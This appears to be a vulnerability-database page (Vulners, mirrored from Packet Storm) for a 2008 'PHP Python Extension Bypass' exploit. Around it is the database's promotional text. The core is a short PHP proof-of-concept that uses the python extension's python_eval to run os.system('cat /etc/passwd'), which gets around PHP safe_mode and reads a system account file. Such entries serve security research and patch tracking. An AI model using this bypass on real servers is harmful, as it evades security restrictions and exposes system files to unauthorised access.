Lucene search
+L

PHP Python Extension Bypass

🗓️ 22 Dec 2008 00:00:00Reported by Amir SalmaniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

PHP Python Extension Bypas

Code
`<?php  
/*  
php_python_bypass.php  
php python extension safe_mode bypass  
Amir Salmani - amir[at]salmani[dot]ir  
*/  
  
//python ext. installed?  
if (!extension_loaded('python')) die("python extension is not installed\n");  
  
//eval python code  
$res = python_eval('  
import os  
pwd = os.getcwd()  
print pwd  
os.system('cat /etc/passwd')  
');  
  
//show result  
echo $res;  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2008 00:00Current
0.5Low risk
Vulners AI Score0.5
19